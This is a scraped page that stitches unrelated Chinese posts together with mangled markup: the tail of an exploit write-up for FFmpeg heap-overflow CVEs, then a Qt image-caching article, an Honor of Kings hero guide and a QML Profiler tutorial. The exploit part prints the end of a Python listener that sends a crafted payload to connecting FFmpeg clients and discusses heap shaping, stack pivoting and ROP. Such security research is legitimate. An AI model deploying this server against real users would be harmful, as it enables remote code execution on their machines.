#raw_input(&sleep for a while to avoid HTTPContext buffer problem!&)&/p&&p&
sleep(3)&/p&&p&
client_socket.send(payload)&/p&&p&
print &send payload done.&&/p&&p&
client_socket.close()&/p&&p&&br&&/p&&p&if __name__ == '__main__':&/p&&p&
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&/p&&p&
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&/p&&p&&br&&/p&&p&
s.bind((bind_ip, bind_port))&/p&&p&
s.listen(5)&/p&&p&&br&&/p&&p&
filename = os.path.basename(__file__)&/p&&p&
st = os.stat(filename)&/p&&p&&br&&/p&&p&
print 'start listening at %s:%s' % (bind_ip, bind_port)&/p&&p&
while True:&/p&&p&
client_socket, addr = s.accept()&/p&&p&
print 'accept client connect from %s:%s' % addr&/p&&p&
handle_request(client_socket)&/p&&p&
if os.stat(filename) != st:&/p&&p&
print 'restarted'&/p&&p&
sys.exit(0)&/p&&p&&br&&/p&&h2&&b&5. 反思与总结&/b&&/h2&&p&这次的漏洞利用过程让我对FFmpeg的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。 &/p&&p&&br&&/p&&p&在pwn的过程中,阅读源码来搞清楚malloc的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。&/p&&p&&br&&/p&&h2&&b&6. 参考资料&/b&&/h2&&p&1
&a href=&/?target=https%3A//trac.ffmpeg.org/ticket/5992& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&trac.ffmpeg.org/ticket/&/span&&span class=&invisible&&5992&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&2
&a href=&/?target=http%3A///lists/oss-security//12& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/lists/oss-&/span&&span class=&invisible&&security//12&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&3
&a href=&/?target=https%3A//cve.mitre.org/cgi-bin/cvename.cgi%3Fname%3DCVE-& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&cve.mitre.org/cgi-bin/c&/span&&span class=&invisible&&vename.cgi?name=CVE-&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&4
官方修复链接:&a href=&/?target=https%3A///FFmpeg/FFmpeg/commit/2a05c8f813de6fbf4aa& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/FFmpeg/FFmpe&/span&&span class=&invisible&&g/commit/2a05c8f813de6fbf4aa&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&5
&a href=&/?target=https%3A///index.php/blog/msg/116& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/in&/span&&span class=&invisible&&dex.php/blog/msg/116&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&6
Transfer-encoding介绍:&a href=&/?target=https%3A///post/transfer-encoding-header-in-http.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/post/transfe&/span&&span class=&invisible&&r-encoding-header-in-http.html&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&7
漏洞原作者的 exp:&a href=&/?target=https%3A///PaulCher/db8c4cf844ea1d6& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/PaulChe&/span&&span class=&invisible&&r/db8c4cf844ea1d6&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&8
FFmpeg源代码结构图:&a href=&/?target=http%3A//blog.csdn.net/leixiaohua1020/article/details/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&blog.csdn.net/leixiaohu&/span&&span class=&invisible&&a1020/article/details/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=https%3A///en/stable/index.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/en/st&/span&&span class=&invisible&&able/index.html&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&br&&/p&&p&-------------------------------&/p&&p&更多安全类热点信息和知识分享,请关注阿里聚安全的&a href=&/?target=https%3A///community/index.htm& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&官方博客&i class=&icon-external&&&/i&&/a&&/p&&p&&/p&
作者:栈长@蚂蚁金服巴斯光年安全实验室————————1. 背景FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-…
&img src=&/50/v2-70a64aca6bc_b.jpg& data-rawwidth=&912& data-rawheight=&534& class=&origin_image zh-lightbox-thumb& width=&912& data-original=&/50/v2-70a64aca6bc_r.jpg&&在我以往的开发中,尤其是嵌入式,图片的加载一直是一个头疼的问题。图片大了,加载就很慢,在嵌入式上,一个的图片,加载可能要好几百毫秒。也就是说加载一个背景,就可能要花去几百毫秒,还不包括其他各种图片。&p&在用尽各种奇妙的方法后,今天终于找到一个根治的方法。赶紧来和大家分享下。&/p&&p&首先,我们要知道一个图片的加载,时间到底消耗在哪。&/p&&p&一般来说,一个图片加载,可以分为两步,第一步是从硬盘读取,这个根据设备的不同,差异会非常大。尤其是固态硬盘和机械硬盘,差个10倍都不夸张。第二部是将数据,比如说PNG数据解释为RGBA数据(这里我暂时用解释这一词,如有更好请指正)。这一步会根据图片的复杂程度不同,带来不同程度的开销。以我测试结果来看,对于一个普通的PNG图片,解释会占用大部分时间,大约是60%到90%的总时间开销。&/p&&p&也就是说,去掉解释的时间开销,是我们优化的大头。做这样简单的优化,我们就可以成倍提升图片的加载速度。那么如何优化呢,我的思路是这样的:&/p&&p&&b&在第一次加载好图片后,就直接把解释好的RGBA数据保存到本地,以供下一次直接读取RGBA数据。&/b&&/p&&p&其实思路很简单,至于实现方法,我从模式上,直接照搬了qmlc那一套,就是在本地(硬盘中)的cache目录,保存缓存文件。而文件的命名,我使用了md5.jqic的模式,md5为(文件全路径)+(修改时间戳的字符串)的运算结果,jqic为JQImageCache的简称。保存效果如下:&/p&&br&&p&&img src=&/v2-fb1b9e3a20cf6d5c5fe3_b.png& data-rawwidth=&620& data-rawheight=&431& class=&origin_image zh-lightbox-thumb& width=&620& data-original=&/v2-fb1b9e3a20cf6d5c5fe3_r.png&&当然这个有很显著的问题,就是图片被解释后,体积会非常大。如上截图中,我保存了一个&/p&&p&高宽,RGBA图片的缓存,这样保存出来就有16MB了。不过我觉得对于我们的PC,这个问题不大。毕竟缓存嘛,也是可以被清除的,这个可以靠库来维护。&/p&&p&注:那个qmlcache文件夹就是qmlc的缓存存储路径。大家都是缓存,咱们做邻居呗。&/p&&p&说了这么多,我们来看下效果,正常情况下,直接使用Image&/p&&p&&img src=&/v2-95fd48fa9ff4b6a7dac658_b.png& data-rawwidth=&552& data-rawheight=&234& class=&origin_image zh-lightbox-thumb& width=&552& data-original=&/v2-95fd48fa9ff4b6a7dac658_r.png&&大约58ms,才可以加载完这个PNG图片。那么使用我刚刚说的预解释的技术后:&/p&&p&&img src=&/v2-fe320a1a27fa364f28f979db03c4feda_b.png& data-rawwidth=&394& data-rawheight=&230& class=&content_image& width=&394&&整个加载只有9ms了,这基本就是在硬盘读取16MB数据的时间了。可见通过这简单的操作,我们就可以缩减75%的加载时间&/p&&p&怎么样,提升是不是很明显。但是,我们不能满足这个。只提升几倍,我是不会满足的。&/p&&img src=&/v2-c6ea261ea62eef60042fab_b.jpg& data-rawwidth=&50& data-rawheight=&50& class=&content_image& width=&50&&&p&除了上面提到的预解释,我们还可以预读取。&/p&&p&那么为什么要用预读取呢,因为程序在启动的时候,很多时候都是CPU高负载,硬盘基本没事情做。因为程序起来的时候,进入到main了,要读取的其实基本也读取完了,硬盘表示我去休息了。&/p&&p&&img src=&/v2-d30ee4ae7eb2f639c40b1aeb7b6a16ec_b.jpg& data-rawwidth=&99& data-rawheight=&90& class=&content_image& width=&99&&那我们当然不能允许硬盘休息了,利用程序在初始化模块的时间,我们可以也从硬盘去读取文件,先把RGBA数据读上来,要用了,直接拿来用。充分利用下设备性能。&/p&&p&这样连硬盘读取都跳过了。那么这样能提升多少呢,我们来看下:&/p&&p&&img src=&/v2-fbd12c86e6ea6_b.png& data-rawwidth=&392& data-rawheight=&242& class=&content_image& width=&392&&这样的话,大约缩减了99.8%的加载时间,也就是快了700倍,毕竟已经没什么事情可以做了,就是绑定了一个材质。当然这个数值,会随着图片变小而变小,图片变大而变大。我今天早些时间测试的时候可以测试出提速3000倍的图片。这是因为图片很大,而且数据较为复杂。&/p&&p&另外这个数值也不能直接拿出来讨论,因为硬盘读取的时间被移到另外地方了。不过总的说,这样预读取确实快了。&br&&/p&&p&讲到这,原理就是这些,很简单,但是真的要做起来,会设计很多概念,比如说C++和QML交互,怎么缓存,等等,所以我干脆直接写了一个Demo,这里就不帖代码了。&/p&&p&&a href=&/?target=https%3A////JQQmlImage& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&/JQQmlImage&i class=&icon-external&&&/i&&/a&&br&&/p&&p&考虑到这个功能比较实用,这个库我基本会一直维护下去,包括增加新功能,例如图片自动预读取。希望有兴趣的朋友可以持续关注,谢谢。&/p&
在我以往的开发中,尤其是嵌入式,图片的加载一直是一个头疼的问题。图片大了,加载就很慢,在嵌入式上,一个的图片,加载可能要好几百毫秒。也就是说加载一个背景,就可能要花去几百毫秒,还不包括其他各种图片。在用尽各种奇妙的方法后,今天终…
持续更新中吆……
欢迎提问&br&&br&露娜符文:红色凶兆
绿色心眼&br&&img src=&/v2-a75a3f44d2fcfb3cd8a3_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-a75a3f44d2fcfb3cd8a3_r.png&&&img src=&/v2-3f93f1fec40bdae853a9cd_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-3f93f1fec40bdae853a9cd_r.png&&&img src=&/v2-056d9b1fc1fdd_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-056d9b1fc1fdd_r.png&&符文加成:22%攻速
64法穿&br&&br&选择说明:露娜的连招需要一定的攻速保证,22%的攻速加成能使露娜的连招行云流水,有了攻速的保证就不容易断大,有时候你点了平A,可是却A不出来,那是因为攻速不够,或者对面有出冰心和不祥的英雄,10%的移速会使露娜更加高效的GANK和游走,在我不会露娜连招的时候,我玩露娜一般就是1323,能A就A,不能A就游走等1,2技能CD,我称之为游走刷大露娜,大家可以一试,法穿64和法攻42会使露娜前期有一定的伤害,俗话说就是打人疼,所以我认为这套符文是非常贴和露娜属性的。&br&&img src=&/v2-e1fbca93fa7b2e8cfd46cfa76f941bbe_b.png& data-rawwidth=&1280& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-e1fbca93fa7b2e8cfd46cfa76f941bbe_r.png&&&br&&br&露娜出装:法强刀,吸血书,韧性鞋,面具,不祥(冰手),女妖(绿甲)&br&&br&出装说明:这套出装是半肉露娜,露娜全输出太脆,半肉会保证你一定操作和输出的空间,只有活着才有输出,被秒了啥也白谈,后期卖掉打野刀出帽子或者大书,伤害还是有保证的,不祥克ADC,女妖克法师,加上他们的被动,物抗,法抗,血量,这就是一套又肉又有输出的出装,前期主攻,后期主肉,也非常贴个游戏的节奏。&br&&br&露娜连招:&br&&br&13A2A大A大,A1A大A大,A2A大A大……&br&&br&13AA2大A大 ,AA1大A大,AA2大A大……&br&&br&结合上面两套基本连招和技能CD,技能CD好了,就A一下,没好就A两下,实在没好就A3下,马上要死了就断大逃跑或换人&br&&br&比如&br&&br&13A2A大A大 ,AA1大A大,A2A大A大……&br&&br&连招说明:这就是露娜的无限连招,这个连招的特点就是,在释放1,2技能前后接平一下A或两下,当然连招也不能生硬的套用(不一定非要在一个地方A,也不一定非要A同一个目标),可以借助周围兵线野怪英雄,要灵活使用,计算敌方英雄的伤害,通过大招的位移来调整自己的输出环境,大家可以看到高手露娜飞来飞去,人家也不是乱飞,根本原则就是大招在打出伤害的同时去追击残血和调整输出环境,你不能被秒,被秒了,你还连个毛线不是,这个连招你可以在训练营里练熟了,然后再去匹配里实践以达到排位Carry的目的,砖石及以上排位露娜一般会被禁。&br&&br&露娜玩法:我玩露娜基本是打野,中单露娜只玩过几次,咱们就说打野露娜(打野露娜前期容易被反,注意一点,尤其是对面有韩信的时候),一般是蓝开,刷野,GANK……,露娜是中后期英雄,一定要注重自身的发育,团战一般后手,也可以用1323先手消耗(虽然是半肉,但也要瞅准机会,不要被秒),露娜是团战型英雄,一身的AOE伤害,所以,注意跟团,以便建立优势。&br&&br&我的知乎回答:王者荣耀韩信怎么玩 ? 持续更新中吆…… 欢迎… &a href=&/question//answer/?utm_source=com.yulong.android.memo&utm_medium=social& class=&internal&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/question/5368&/span&&span class=&invisible&&0081/answer/?utm_source=com.yulong.android.memo&utm_medium=social&/span&&span class=&ellipsis&&&/span&&/a&&br&&br&知乎问答:在王者荣耀中,玩花木兰的大神们,花木兰要怎么玩? 我的知乎回答:在王者荣耀中,玩花木兰的大神们,花木兰要怎么玩? 持续更新中…… &a href=&/question//answer/?utm_source=com.android.mms&utm_medium=social& class=&internal&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/question/4938&/span&&span class=&invisible&&4886/answer/?utm_source=com.android.mms&utm_medium=social&/span&&span class=&ellipsis&&&/span&&/a&
持续更新中吆…… 欢迎提问 露娜符文:红色凶兆 蓝色狩猎 绿色心眼 符文加成:22%攻速 10%移速 42法强 64法穿 选择说明:露娜的连招需要一定的攻速保证,22%的攻速加成能使露娜的连招行云流水,有了攻速的保证就不容易断大,有时候你点了平A,可是却A不出来…
&img src=&/50/v2-02a50c8b9a73f0ac722c23b4acb90253_b.jpg& data-rawwidth=&554& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/50/v2-02a50c8b9a73f0ac722c23b4acb90253_r.jpg&&&p&对于一个程序的开发,性能优化是开发中的一个重要步骤。&/p&&p&我们肯定不希望开发出来的程序表现出卡顿,最好是处处流畅,丝滑般的体验。&/p&&p&对于C++程序,我们有很多方法可以做性能优化,例如Visual Studio Profiler。&/p&&p&而对于QML(QtQuick)程序,我们可以选择QML Profiler,这是QtCreator的一个功能。&/p&&br&&p&那么QML Profiler是什么呢,官方的描述如下:&/p&&blockquote&You can use the QML Profiler to find causes for typical performance problems in your applications, such as slowness and unresponsive, stuttering user interfaces. Typical causes include executing too much JavaScript in too few frames. All JavaScript must return before the GUI thread can proceed, and frames are delayed or dropped if the GUI thread is not ready.&/blockquote&&p&也就是说,QML Profiler主要功能就是帮助我们去解决程序中典型的性能问题,说简单就是帮助我们做性能优化。&/p&&p&注意:这个性能优化,仅指QML这里,一般来说就是界面,可能还包含点界面逻辑代码(JS),而C++这块,QML Profiler几乎帮不上忙,最多是能给在QML中调用的槽函数记个耗时。&/p&&p&注意2:使用QML Profiler是优化QtQuick性能的基本功,之后我会再发几篇和QtQuick性能优化相关的文章,里面都会用到QML Profiler。本文只介绍QML Profiler,尽量不涉及具体的优化点。&/p&&br&&br&&h2&正文开始:&/h2&&p&借助于QML Profiler,我们快速的了解程序运行中的主要情况和耗时细则(可以精确到微秒),其中包括但不限于:&/p&&ul&&li&图片缓存使用情况&br&&/li&&li&渲染耗时&br&&/li&&li&内存使用情况&br&&/li&&li&输入事件&br&&/li&&li&动画帧率&br&&/li&&li&编译耗时&br&&/li&&li&创建耗时&br&&/li&&li&绑定耗时&br&&/li&&li&信号处理耗时&br&&/li&&li&JS代码耗时&/li&&/ul&&br&那么对于QML Profiler这样的工具,使用起来是否非常复杂呢?&p&答案是:使用非常方便,甚至不需要额外的配置,连很多分析都是可视化的。使用步骤如下:&/p&&ol&&li&准备Qt环境,我建议是Qt5.7或者更高版本。这是因为以前QML Profiler结果中很多数据是企业版的QtCreator才看得到的,有的数据非常重要,例如渲染的耗时。后来才向开源版开放。是5.6还是5.7有点记不清了,我用的是Qt5.8.0配合QtCreator4.2.1。&/li&&li&打开QtCreator&br&&/li&&li&打开一个QML(QtQuick)工程,我这里使用的是默认的工程&img src=&/50/v2-18f44c8e40a9565a9dfd_b.jpg& data-rawwidth=&1020& data-rawheight=&383& class=&origin_image zh-lightbox-thumb& width=&1020& data-original=&/50/v2-18f44c8e40a9565a9dfd_r.jpg&&&/li&&li&选择debug模式&img src=&/50/v2-abaa668b7f9c55ebbe3900718aadd980_b.jpg& data-rawwidth=&284& data-rawheight=&211& class=&content_image& width=&284&&&/li&&li&在QtCreator上边菜单中选择 Analyze 中的 QML 分析器&img src=&/50/v2-c9b7b9a95d6c61fb6cbd16e_b.jpg& data-rawwidth=&396& data-rawheight=&135& class=&content_image& width=&396&&&br&&/li&&li&等待程序运行起来,并且运行一段时间&br&&/li&&li&在QtCreator左边菜单中选择 Debug ,然后点击 Stop 按钮,停止QMLProfiler,并且开始处理数据&img src=&/50/v2-cabe4ce29f3_b.jpg& data-rawwidth=&740& data-rawheight=&546& class=&origin_image zh-lightbox-thumb& width=&740& data-original=&/50/v2-cabe4ce29f3_r.jpg&&&/li&&/ol&&br&&p&至此,QML Profiler应当已经成功运行,并且收集到了数据,如图。&/p&&br&&img src=&/50/v2-98aaf460aeafdeac5ea696b_b.jpg& data-rawwidth=&1202& data-rawheight=&945& class=&origin_image zh-lightbox-thumb& width=&1202& data-original=&/50/v2-98aaf460aeafdeac5ea696b_r.jpg&&&p&图中,我们可以看到如下几个主要的数据区:&/p&&ul&&li&时间轴视图&br&&/li&&li&统计信息视图&br&&/li&&li&火焰视图&br&&/li&&/ul&&br&&p&----------&br&&/p&&p&分别介绍一下3个视图&/p&&h2&时间轴视图&/h2&&img src=&/50/v2-7d71e91e14dcd416ece3d49b8612be54_b.jpg& data-rawwidth=&1064& data-rawheight=&696& class=&origin_image zh-lightbox-thumb& width=&1064& data-original=&/50/v2-7d71e91e14dcd416ece3d49b8612be54_r.jpg&&&p&在这里,我们可以以时间轴角度,查看各个细节的耗时。时间轴的起点,就是QQmlApplication实例化的时间。我们可能看不到零点,因为在QQmlApplication被实例化到第一个元素被开始处理,时间可能会有其他的耗时。&/p&&p&在视图中,从左到右,就是QML Profiler从开始到停止的所有记录了。越小的块表示时间越短,反之越大的块,表示时间越长。这里的方块具有一定的嵌套关系,下面的方块对象隶属于上面的对象。比如说 Windows { } 里面还可能会有一个 Item { } 这样的嵌套关系。&/p&&p&如果在你的程序中,发现一个非常巨大的块,那么恭喜你,你可能已经找到了程序性能卡顿的所在。之后就是分析和优化了。&/p&&p&例如上面截图中的数据,我们发现TextEdit的创建非常耗时,创建方块(蓝色那个)非常大,几乎已经是一大半的时间都消耗在这里了。这也是导致了程序在启动时,比较慢(至少没有一瞬间起来)的罪魁祸首。&/p&&p&目前我知道这个是程序第一个用到字的地方(Text、TextEdit等),就会有这么慢,有这么几百毫秒,可能是在加载字体库?但是这个现象我目前只在macOS系统上看到,没有什么代表性。所以,我们暂时跳过这个不管他。&/p&&p&我这里略讲下时间轴视图的常用操作:&/p&&ul&&li&详细信息查看&br&&/li&&/ul&&br&&p&通过点击色块,我们可以得知这个色块的基本信息,例如下图中:&/p&&img src=&/50/v2-8ee918fa190e0cc7f304282_b.jpg& data-rawwidth=&860& data-rawheight=&176& class=&origin_image zh-lightbox-thumb& width=&860& data-original=&/50/v2-8ee918fa190e0cc7f304282_r.jpg&&&p&我们可以在这里看出这个时间开销是来自于TextEdit的创建,总共耗时了580毫秒,使

我要回帖

更多关于 八个字游戏名字 的文章

 

随机推荐